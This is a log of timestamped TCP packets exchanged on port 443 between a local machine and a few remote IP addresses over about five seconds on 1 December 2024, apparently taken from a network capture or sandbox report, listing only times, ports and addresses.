Dec 1, 2024 03:33:15.050419092 CET	49860	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:15.050460100 CET	443	49860	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:15.050518036 CET	49860	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:15.050842047 CET	49860	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:15.050856113 CET	443	49860	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:15.183974981 CET	443	49852	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:15.199554920 CET	49852	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:15.199577093 CET	443	49852	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:15.200006008 CET	443	49852	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:15.200337887 CET	49852	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:15.200408936 CET	443	49852	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:15.200627089 CET	49852	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:15.247329950 CET	443	49852	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:15.341054916 CET	443	49849	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:15.341125011 CET	443	49849	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:15.341439009 CET	49849	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:15.341494083 CET	49849	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:15.341514111 CET	443	49849	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:15.341526985 CET	49849	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:15.341533899 CET	443	49849	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:15.344502926 CET	49862	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:15.344536066 CET	443	49862	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:15.344645977 CET	49862	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:15.346477032 CET	49862	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:15.346508026 CET	443	49862	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:15.379548073 CET	443	49853	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:15.379998922 CET	49853	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:15.380026102 CET	443	49853	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:15.380487919 CET	49853	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:15.380492926 CET	443	49853	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:15.625288010 CET	443	49852	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:15.625349045 CET	443	49852	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:15.625585079 CET	49852	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:15.625824928 CET	49852	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:15.625849009 CET	443	49852	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:15.625859976 CET	49852	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:15.626179934 CET	49852	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:15.825145006 CET	443	49853	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:15.828536034 CET	443	49853	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:15.828582048 CET	49853	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:15.828587055 CET	443	49853	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:15.828646898 CET	49853	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:15.828712940 CET	49853	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:15.828727961 CET	443	49853	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:15.828737974 CET	49853	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:15.828742981 CET	443	49853	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:15.831257105 CET	443	49854	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:15.831617117 CET	49854	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:15.831640959 CET	443	49854	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:15.832089901 CET	49854	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:15.832097054 CET	443	49854	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:15.832231045 CET	49863	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:15.832264900 CET	443	49863	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:15.832334995 CET	49863	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:15.832499981 CET	49863	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:15.832514048 CET	443	49863	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:16.000413895 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:16.000808954 CET	49855	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:16.000838995 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:16.001871109 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:16.001938105 CET	49855	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:16.002407074 CET	49855	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:16.002475977 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:16.002576113 CET	49855	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:16.002583027 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:16.049844980 CET	49855	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:16.176517010 CET	443	49858	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:16.176786900 CET	49858	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:16.176801920 CET	443	49858	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:16.177819014 CET	443	49858	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:16.177875996 CET	49858	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:16.178330898 CET	49858	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:16.178380013 CET	443	49858	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:16.178477049 CET	49858	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:16.178483009 CET	443	49858	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:16.221946955 CET	49858	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:16.288388014 CET	443	49854	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:16.290132999 CET	443	49854	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:16.290191889 CET	49854	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:16.290293932 CET	49854	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:16.290313959 CET	443	49854	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:16.290324926 CET	49854	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:16.290330887 CET	443	49854	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:16.294236898 CET	49864	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:16.294272900 CET	443	49864	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:16.294339895 CET	49864	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:16.294709921 CET	49864	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:16.294730902 CET	443	49864	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:16.496840000 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:16.496872902 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:16.496900082 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:16.496918917 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:16.496937037 CET	49855	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:16.496948957 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:16.496963024 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:16.496969938 CET	49855	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:16.497006893 CET	49855	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:16.498584986 CET	49869	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:16.498617887 CET	443	49869	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:16.498684883 CET	49869	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:16.498893023 CET	49869	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:16.498903036 CET	443	49869	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:16.519061089 CET	443	49859	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:16.521745920 CET	49859	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:16.521765947 CET	443	49859	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:16.522406101 CET	49859	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:16.522417068 CET	443	49859	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:16.902441025 CET	443	49858	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:16.921955109 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:16.921968937 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:16.922180891 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:16.922211885 CET	49855	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:16.922219992 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:16.922244072 CET	49855	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:16.922410011 CET	49855	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:16.923933983 CET	443	49858	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:16.923943043 CET	443	49858	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:16.923962116 CET	443	49858	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:16.923995018 CET	49858	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:16.924000978 CET	443	49858	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:16.924025059 CET	49858	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:16.924048901 CET	49858	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:16.925766945 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:16.925791025 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:16.925836086 CET	49855	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:16.925842047 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:16.925894976 CET	49855	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:16.925894976 CET	49855	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:16.938607931 CET	443	49860	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:16.939192057 CET	49860	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:16.939228058 CET	443	49860	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:16.942430019 CET	49860	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:16.942449093 CET	443	49860	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.058331013 CET	443	49733	104.98.116.138	192.168.2.7
Dec 1, 2024 03:33:17.058398962 CET	49733	443	192.168.2.7	104.98.116.138
Dec 1, 2024 03:33:17.058857918 CET	443	49858	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.058878899 CET	443	49858	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.059607983 CET	49858	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.059614897 CET	443	49858	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.059748888 CET	49858	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.066260099 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.066283941 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.066361904 CET	49855	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.066361904 CET	49855	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.066368103 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.066760063 CET	49855	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.118897915 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.118916988 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.119007111 CET	49855	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.119007111 CET	49855	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.119013071 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.119751930 CET	49855	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.152645111 CET	443	49858	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.152667046 CET	443	49858	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.155750990 CET	49858	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.155759096 CET	443	49858	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.161215067 CET	443	49858	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.161247015 CET	49858	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.161251068 CET	443	49858	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.161315918 CET	443	49858	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.161345959 CET	49858	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.163320065 CET	49858	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.163324118 CET	443	49858	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.163336992 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.163352013 CET	49858	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.163357019 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.163417101 CET	49855	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.163422108 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.163762093 CET	49855	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.212512016 CET	443	49859	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.215630054 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.215650082 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.215742111 CET	49855	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.215749025 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.215795040 CET	443	49859	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.215861082 CET	49855	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.215866089 CET	49859	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.216260910 CET	49859	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.216274977 CET	443	49859	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.216310978 CET	49859	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.216317892 CET	443	49859	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.218689919 CET	49872	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.218728065 CET	443	49872	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.218806982 CET	49872	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.219752073 CET	49872	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.219764948 CET	443	49872	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.267927885 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.267946005 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.271771908 CET	49855	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.271783113 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.274373055 CET	49855	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.294725895 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.294744968 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.295747995 CET	49855	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.295753002 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.299490929 CET	49855	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.313540936 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.313561916 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.314961910 CET	49855	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.314968109 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.315063953 CET	49855	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.331840038 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.331861019 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.335756063 CET	49855	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.335763931 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.343787909 CET	49855	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.351284027 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.351310968 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.351419926 CET	49855	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.351419926 CET	49855	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.351425886 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.351752043 CET	49855	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.367594004 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.367646933 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.367682934 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.367762089 CET	49855	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.369561911 CET	49855	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.376761913 CET	443	49860	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.379791021 CET	443	49860	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.381360054 CET	49860	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.419855118 CET	49855	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.419878006 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.419881105 CET	49860	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.419881105 CET	49860	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.419900894 CET	443	49860	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.419907093 CET	443	49860	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.432611942 CET	443	49862	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.479798079 CET	49862	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.601212025 CET	49862	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.601227999 CET	443	49862	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.601772070 CET	49862	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.601778030 CET	443	49862	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.625128984 CET	49873	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.625190020 CET	443	49873	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.628035069 CET	49873	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.628396988 CET	49873	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.628424883 CET	443	49873	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.678976059 CET	443	49863	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.679465055 CET	49863	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.679506063 CET	443	49863	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.680048943 CET	49863	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.680056095 CET	443	49863	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.926927090 CET	443	49862	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.930394888 CET	443	49862	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.930453062 CET	443	49862	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.930464029 CET	49862	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.930522919 CET	49862	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.930593014 CET	49862	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.930615902 CET	443	49862	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.930628061 CET	49862	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.930634022 CET	443	49862	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.933511972 CET	49874	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.933546066 CET	443	49874	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:17.933629036 CET	49874	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.934393883 CET	49874	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:17.934406996 CET	443	49874	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:18.132510900 CET	443	49863	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:18.135883093 CET	443	49863	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:18.135938883 CET	49863	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:18.135970116 CET	49863	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:18.135986090 CET	443	49863	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:18.135997057 CET	49863	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:18.136003017 CET	443	49863	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:18.139329910 CET	49875	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:18.139349937 CET	443	49875	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:18.139442921 CET	49875	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:18.139584064 CET	49875	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:18.139600039 CET	443	49875	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:18.163345098 CET	443	49864	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:18.163974047 CET	49864	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:18.163989067 CET	443	49864	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:18.164411068 CET	49864	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:18.164424896 CET	443	49864	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:18.575660944 CET	443	49869	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:18.575913906 CET	49869	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:18.575928926 CET	443	49869	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:18.576287031 CET	443	49869	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:18.576601982 CET	49869	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:18.576668024 CET	443	49869	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:18.576769114 CET	49869	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:18.577544928 CET	49880	443	192.168.2.7	4.175.87.197
Dec 1, 2024 03:33:18.577563047 CET	443	49880	4.175.87.197	192.168.2.7
Dec 1, 2024 03:33:18.577625990 CET	49880	443	192.168.2.7	4.175.87.197
Dec 1, 2024 03:33:18.577996969 CET	49880	443	192.168.2.7	4.175.87.197
Dec 1, 2024 03:33:18.578008890 CET	443	49880	4.175.87.197	192.168.2.7
Dec 1, 2024 03:33:18.616688967 CET	443	49864	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:18.619334936 CET	443	49869	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:18.620723009 CET	443	49864	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:18.620896101 CET	49864	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:18.623761892 CET	49864	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:18.623761892 CET	49864	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:18.623778105 CET	443	49864	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:18.623786926 CET	443	49864	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:18.624696970 CET	49882	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:18.624727964 CET	443	49882	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:18.624799013 CET	49882	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:18.624905109 CET	49882	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:18.624918938 CET	443	49882	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:19.023284912 CET	443	49869	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:19.023365974 CET	443	49869	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:19.023556948 CET	49869	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:19.023613930 CET	49869	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:19.023628950 CET	443	49869	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:19.023637056 CET	49869	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:19.023772955 CET	49869	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:19.052201986 CET	443	49872	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:19.052689075 CET	49872	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:19.052709103 CET	443	49872	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:19.053143978 CET	49872	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:19.053152084 CET	443	49872	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:19.475184917 CET	443	49873	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:19.476023912 CET	49873	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:19.476037979 CET	443	49873	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:19.476366997 CET	49873	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:19.476372004 CET	443	49873	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:19.495712996 CET	443	49872	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:19.498981953 CET	443	49872	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:19.499217987 CET	49872	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:19.499244928 CET	49872	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:19.499258041 CET	443	49872	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:19.499304056 CET	49872	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:19.499315977 CET	443	49872	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:19.502464056 CET	49889	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:19.502495050 CET	443	49889	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:19.502557993 CET	49889	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:19.502700090 CET	49889	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:19.502712965 CET	443	49889	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:19.661983013 CET	443	49874	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:19.668246984 CET	49874	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:19.668265104 CET	443	49874	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:19.668706894 CET	49874	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:19.668715000 CET	443	49874	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:19.854141951 CET	443	49875	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:19.855788946 CET	49875	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:19.855809927 CET	443	49875	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:19.856224060 CET	49875	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:19.856229067 CET	443	49875	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:19.929230928 CET	443	49873	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:19.931749105 CET	443	49873	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:19.931816101 CET	443	49873	13.107.246.63	192.168.2.7
